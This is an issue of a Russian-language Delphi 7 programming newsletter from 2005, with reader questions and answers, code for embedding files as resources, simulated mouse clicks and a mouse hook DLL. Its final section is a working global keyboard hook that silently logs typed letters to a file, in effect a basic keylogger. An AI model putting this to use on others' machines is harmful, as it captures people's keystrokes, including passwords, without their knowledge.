Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

X-Program ПО, новости сайта и программирование в Delphi7


Информационный Канал Subscribe.Ru

Рассылка по Delphi. Выпуск 38.
Зайдите на наш сайт.
www.x-program.narod.ru
Новости рассылки и сайта
11 Февраль 2005 г.
Мы собираем midi музыку для новой версии программы MagDate. Помогите нам и отправьте нам свою музыку в формате MIDI.ОТПРАВИТЬ
10 Февраль 2005 г.
Исправлен ответ на вопрос №4.
10 Февраль 2005 г.
Мы наконец сделали нормальный дизайн рассылки! Белый фон сделан для коректного отображения страницы в браузере.
Сегодня в рассылке
Вопросы подписчиков
Ресурсы
Мышь
HOOK & Мышь
Клавиатура
Задать вопрос Предложения и пожелания Заказать статью

Вопросы подписчиков
6)Ответить
Help me!!!
Очень нужен компонент для проверки обновлений программы
под Delphi 7.
Нажал на кнопочку - и типа окошко выскочила "Дуй на страничку программы - вышла новая версия"
Желательно с описаловкой на славянском, а то я с английским на Вы и шепотом :)
У меня есть парочка подобных под шестую версию, но под седьмой они не ставятся :(


5)Ответить
Здравствуйте, x-program.
А как запретить развертывание окна на весь экран?


4)Ответить
Здравствуйте, x-program.
Как обработать ошибку подключения компонента idTelnet?


3)Ответить
Здравствуйте! Где в интернете можно скачать стандартный набор Delphi7 и сколько он весит (в MB, конечно)?!

2)Ответить
Здравствуйте, X-Program.
1-Предположим, что у меня в проекте две формы (Form1 и Form2).Как сделать, чтобы они открывались в одном и том же окне?
2-Как сделать кнопку ссылкой на какой-то файл или папку?
3-Как запретить изменение размера окна?


1)Ответить
I) Как программно (видимо, используя API) щелкнуть по TGauge [Gauges]
а) левой кнопкой мыши для выполнения OnClick;
б) правой кнопкой мыши для раскрытия PopupMenu с выбором возможных пунктов.
II) Раскажите про кнопку "Пуск" в ХР. В плане - в каком файле находится, из каких составных частей состоит (вероятно надпись и картинка - это части), можно ли изменить фон цвета самой кнопки.



4)
Отвечает X-Program

HELLO!
Я думаю, что можно сделать вот так.

Коннект:
try
IdTelnet1.Connect;
except
showmessaeg('Ошибочка вышла.');
end;

Дисконнект:
IdTelnet1.Disconnect;

Приём данных:
procedure TForm1.IdTelnet1DataAvailable(Buffer: String);
begin
Form1.Caption:=buffer;
end;


3)
Отвечает Андрей Е.

http://www.delphi-faq.fatal.ru/answers/1000/100/20/13.htm


2)
Отвечает DENIS

2. Чтобы сделать ссылку на директорию надо во-первых в uses добавить ShellAPI и написать следующее:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute(Application.Handle,'open','c:\\',nil,nil,SW_SHOWDEFAULT);
end;
чтобы сделать ссылку на файл, то же самое, но в этом случае файл откроется в приложении, с которым стоит ассоциация расширения:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute(Application.Handle,'open','c:\\1.txt',nil,nil,SW_SHOWDEFAULT);
end;
3. Чтобы у окна нельзя было изменить размеры, достаточно вытавить параметр у формы
BorderStyle - bsSingle или программно BorderStyle:=bsSingle

Отвечает Андрей Е.

3. Form.BorderStyle:=bsSingle;

Отвечает X-Program

Привет!
Отвечаю на первую часть вопроса.
Значит есть две формы Form1 и Form2. Создаём ещё одну форму, допустим Form3. Где-нибудь пишем
Form1.Parent:=Form3;
Form2.Parent:=Form3;
Всё. Form1 и Form2 окажутся внутри Form3.


1)
Отвечает Андрей Е.

1.
а) У TGauge нет события OnClick, поэтому ничего не получится.
б) У TGauge также нет Handle, т.е. этот объект не является окном. Остаётся только щёлкнуть мышью "вслепую" - через MouseDown(...), вычислив координаты расположения компонента.
2. Не всё так просто. Вся инфа о кнопке 'Пуск' находится в файле теме (*.theme) или файле визуального стиля (*.msstyles). Открыть эти файлы без специальных программ невозможно. Одна из них - Stardock Skin Studio.

Сохранение и выдёргивание ресурсов в DLL или EXE
Иногда возникает необходимость вшить ресурсы в исполняемый файл Вашего приложения (например чтобы предотвратить их случайное удаление пользователем, либо, чтобы защитить их от изменений). Данный пример показывает как вшить любой файл как ресурс в EXE-шнике.
Далее рассмотрим, как создать файл ресурсов, содержащий корию какого-либо файла. После создания такого файла его можно легко прицепить к Вашему проекту директивой {$R}. Файл ресурсов, который мы будем создавать имеет следующий формат:
заголовок
заголовок для нашего RCDATA ресурса
собственно данные - RCDATA ресурс

В данном примере будет показано, как сохранить в файле ресурсов только один файл, но думаю, что так же легко Вы сможете сохранить и несколько файлов.
Заголовок ресурса выглядит следующим образом:

TResHeader = record
DataSize: DWORD; // размер данных
HeaderSize: DWORD; // размер этой записи
ResType: DWORD; // нижнее слово = $FFFF => ordinal
ResId: DWORD; // нижнее слово = $FFFF => ordinal
DataVersion: DWORD; // *
MemoryFlags: WORD;
LanguageId: WORD; // *
Version: DWORD; // *
Characteristics: DWORD; // *
end;

Поля помеченны звёздочкой Мы не будем использовать.
Приведённый код создаёт файл ресурсов и копирует его в данный файл:

procedure CreateResourceFile(
DataFile, ResFile: string; // имена файлов
ResID: Integer // id ресурсов
);
var
FS, RS: TFileStream;
FileHeader, ResHeader: TResHeader;
Padding: array [0..SizeOf(DWORD)-1] of Byte;
begin

{ Open input file and create resource file }
FS := TFileStream.Create( // для чтения данных из файла
DataFile, fmOpenRead);
RS := TFileStream.Create( // для записи файла ресурсов
ResFile, fmCreate);

{ Создаём заголовок файла ресурсов - все нули, за исключением
HeaderSize, ResType и ResID }
FillChar(FileHeader, SizeOf(FileHeader), #0);
FileHeader.HeaderSize := SizeOf(FileHeader);
FileHeader.ResId := $0000FFFF;
FileHeader.ResType := $0000FFFF;

{ Создаём заголовок данных для RC_DATA файла
Внимание: для создания более одного ресурса необходимо
повторить следующий процесс, используя каждый раз различные
ID ресурсов }
FillChar(ResHeader, SizeOf(ResHeader), #0);
ResHeader.HeaderSize := SizeOf(ResHeader);
// id ресурса - FFFF означает "не строка!"
ResHeader.ResId := $0000FFFF or (ResId shl 16);
// тип ресурса - RT_RCDATA (from Windows unit)
ResHeader.ResType := $0000FFFF
or (WORD(RT_RCDATA) shl 16);
// размер данных - есть размер файла
ResHeader.DataSize := FS.Size;
// Устанавливаем необходимые флаги памяти
ResHeader.MemoryFlags := $0030;

{ Записываем заголовки в файл ресурсов }
RS.WriteBuffer(FileHeader, sizeof(FileHeader));
RS.WriteBuffer(ResHeader, sizeof(ResHeader));

{ Копируем файл в ресурс }
RS.CopyFrom(FS, FS.Size);

{ Pad data out to DWORD boundary - any old
rubbish will do!}
if FS.Size mod SizeOf(DWORD) <> 0 then
RS.WriteBuffer(Padding, SizeOf(DWORD) -
FS.Size mod SizeOf(DWORD));

{ закрываем файлы }
FS.Free;
RS.Free;
end;

Данный код не совсем красив, и отсутствует обработка ошибок. Правильнее будет создать класс, включающий в себя данный пример.
Извлечение ресурсов из EXE
теперь рассмотрим пример, показывающий, как извлекать ресурсы из исполняемого модуля.
Вся процедура заключается в создании потока ресурса, создании файлового потока и копировании из потока ресурса в поток файла.

procedure ExtractToFile(Instance:THandle; ResID:Integer; ResType, FileName:string);
var
ResStream: TResourceStream;
FileStream: TFileStream;
begin
try
ResStream := TResourceStream.CreateFromID(Instance, ResID, pChar(ResType));
try
//if FileExists(FileName) then
//DeleteFile(pChar(FileName));
FileStream := TFileStream.Create(FileName, fmCreate);
try
FileStream.CopyFrom(ResStream, 0);
finally
FileStream.Free;
end;
finally
ResStream.Free;
end;
except
on E:Exception do
begin
DeleteFile(FileName);
raise;
end;
end;
end;

Всё, что требуется, это получить Instance exe-шника или dll (у Вашего приложения это Application.Instance или Application.Handle, для dll Вам придётся получить его самостоятельно :)
ResID
тот же самый ID , который был присвоен ресурсу
ResType: WAVEFILE, BITMAP, CURSOR, CUSTOM
это типы ресурсов, с которыми возможно работать, но у меня получилось успешно проделать процедуру только с CUSTOM
FileName
это имя файла, который мы хотим создать из ресурса.

Как просимулировать нажатие кнопок мыши
На форму вынесите компонент TTimer и опишите его единственное событие следующим образом:

procedure TForm1.Timer1Timer(Sender: TObject);
var
x, y: Integer;
begin
x := random(Screen.Width);
y := random(Screen.Height);
sendmessage(Handle, WM_LBUTTONDOWN, MK_LBUTTON, x + y shl 16);
sendmessage(Handle, WM_LBUTTONUP, MK_LBUTTON, x + y shl 16);
end;

Для того, чтобы убедиться, что сообщения на самом деле посылаются, давайте обработаем событие OnMouseDown для формы. Мы попытаем обозначать те места, где якобы была нажата кнопка мыши.

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Form1.Canvas.Ellipse(x - 2, y - 2, x + 2, y + 2);
end;

Создание мышиного перехватчика
library Hookdemo;

uses

Beeper in '\DELDEMOS\HOOKDEMO\BEEPER.PAS';

exports

SetHook index 1,
UnHookHook index 2,
HookProc index 3;

begin

HookedAlready:=False;
end.

, где beeper.pas содержит следующий код:

unit Beeper;

interface

uses Wintypes, Winprocs, Messages;

function SetHook: Boolean; export;
function UnHookHook: Boolean; export;
function HookProc(Code: integer; wParam: Word;
lParam: Longint): Longint; export;

var
HookedAlready: Boolean;

implementation

var
ourHook: HHook;

function SetHook: Boolean;
begin
if HookedAlready then
exit;
ourHook := SetWindowsHookEx(WH_MOUSE, HookProc, HInstance, 0);
HookedAlready := True;
end;

function UnHookHook: Boolean;
begin
UnHookWindowsHookEx(ourHook);
HookedAlready := False;
end;

function HookProc(Code: integer; wParam: Word;
lParam: Longint): Longint;
begin
if (wParam = WM_LBUTTONDOWN) then
MessageBeep(0);
result := CallNextHookEx(ourHook, Code, wParam, lParam);
end;

end.
Теперь, при вызове из приложения функции SetHook, при каждом нажатии левой кнопки мыши будет раздаваться сигнал - до тех пор, пока вы не вызовете функцию UnHookHook. В действующем приложении возвращаемое функцией CallNextHookEx значение < 0 сведетельствует об отсутствии манипуляций с мышью.

Глобальный хук на клаву
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;

if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;

procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;

procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;

exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.

http://subscribe.ru/
http://subscribe.ru/feedback/
Подписан адрес:
Код этой рассылки: comp.soft.prog.program
Отписаться

В избранное